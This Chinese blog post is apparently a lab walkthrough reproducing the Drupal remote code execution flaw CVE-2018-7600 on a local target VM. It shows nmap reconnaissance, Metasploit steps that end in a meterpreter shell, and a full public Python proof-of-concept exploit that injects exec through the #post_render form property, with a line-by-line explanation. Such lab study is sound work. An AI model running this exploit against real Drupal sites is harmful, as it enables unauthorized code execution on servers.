Loading...

文章背景图

Drupal 远程代码执行漏洞(CVE-2018-7600)

Zero Zero
|
2025-12-19
|
3
|
-
|
- min
|

壁纸6.jpg

工具准备:

1.Kali

2.VM虚拟机

环境搭建与配置:

1.利用VM搭建DC靶机

2.配置网络连接

需要保证攻击机(kali)和DC靶机的网络连接模式保持相同

3.漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。

2018年3月28日,Drupal Security Team官方发布公告称Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用该漏洞执行恶意代码。

Drupal未对表单请求数据做严格过滤,导致攻击者可以将恶意代码注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。

影响范围: Drupal 6,7,8等多个子版本

复现文章:

https://www.freebuf.com/vuls/268189.html

漏洞复现阶段:

1.外围打点---信息收集-IP:

由于在虚拟机上实现的复现,在上面赘述中已经提到了,通过配置网络(同桥接模式或同NAT模式)即可实现在同局域网下的IP配置

拿到了C段地址就可以利用nmap扫描C段下存活主机

payload:nmap -sn 192.168.192.0/24

分析反馈内容:

192.168.192.1    #网关
192.168.192.2    #宿主机虚拟网卡
192.168.192.130  #靶机IP地址
192.168.192.254  #给虚拟机分配的IP地址
192.168.192.128  #本机kali的IP地址

2.外围打点---信息收集-端口:

通过nmap扫描爆破端口
payload:namp -p- -V 192.168.192.130

3.外围打点---信息收集-站点

根据上面的回显分析一下内容:
80  #http协议端口-常用站点
22  #FTP协议端口
直接访问:http://192.168.192.130

4.外围打点---信息收集-指纹收集

利用Wappalyzer进行指纹识别和收集
发现用的是Drupal7的CMS系统

5.外围打点---信息收集-漏洞信息收集

基于指纹识别到的信息进行一个收集,发现是一个RCE漏洞

6.漏洞利用---EXP收集-漏洞信息收集

https://www.exploit-db.com
https://avd.aliyun.com/

已经给出meatsploit验证过漏洞,那么这个时候利用这个工具挖掘漏洞。

7.漏洞利用---EXP-Metasploit Framework

payload:
1、输入msfconsole
2、use

payload:use

8.漏洞利用---EXP-漏洞查找

搜索drupal可以进行漏洞利用的模块

payload:search drupal

9.漏洞利用---EXP-漏洞模块利用

利用用户组1
查看漏洞利用的具体配置 :show options 
注意YES的就是一定要进行配置的
payload:use 1
payload:show options 

10.漏洞利用---EXP-shell获取

配置rhost远程地址(即 攻击谁 就配置谁的IP地址)

攻击:run

拿到meterpreter 。相当于拿到靶机的权限,在拿到的权限范围内,想干什么都可以。

set rhost 192.168.192.130
run
shell

11.漏洞利用---EXP-flag获取

漏洞原理剖析:

EXP:

#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
    sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

核心利用逻辑

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

构造恶意 URL:

路径:/user/register(Drupal 用户注册页面)

查询参数:

element_parents=account/mail/%23value%23# 的 URL 编码,最终解析为 account/mail/#value

这个参数会触发 Drupal 渲染引擎去处理 mail 字段的 #value 属性

ajax_form=1&_wrapper_format=drupal_ajax → 强制返回 AJAX 格式响应(绕过某些防护)

payload = {
    'form_id': 'user_register_form',
    '_drupal_ajax': '1',
    'mail[#post_render][]': 'exec',
    'mail[#type]': 'markup',
    'mail[#markup]': 'echo ";-)" | tee hello.txt'
}

POST 数据构造关键点:

mail[#post_render][] = exec
→ 利用 Drupal 渲染机制中的 #post_render 回调功能,指定使用 PHP 的 exec() 函数。

mail[#markup] = echo ";-)" | tee hello.txt
→ 作为 exec() 的参数,执行 shell 命令:将字符串 ;-) 写入网站根目录下的 hello.txt 文件。

#type = markup 表示该字段是原始 HTML/文本输出。

💡 关键技巧:Drupal 允许在表单中通过 # 属性控制渲染行为,而未对 #post_render 等危险属性做白名单限制,导致任意函数调用。

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
  • 发送恶意 POST 请求,尝试触发 RCE。

check = requests.get(target + 'hello.txt')
if check.status_code != 200:
    sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
  • 验证是否成功:访问 hello.txt,若返回 200,则说明命令执行成功,漏洞存在。


当然啦~这里因为MSF已经收录了EXP直接用就可以了;



分享文章

未配置分享平台

请在主题设置中启用分享平台

评论

文章目录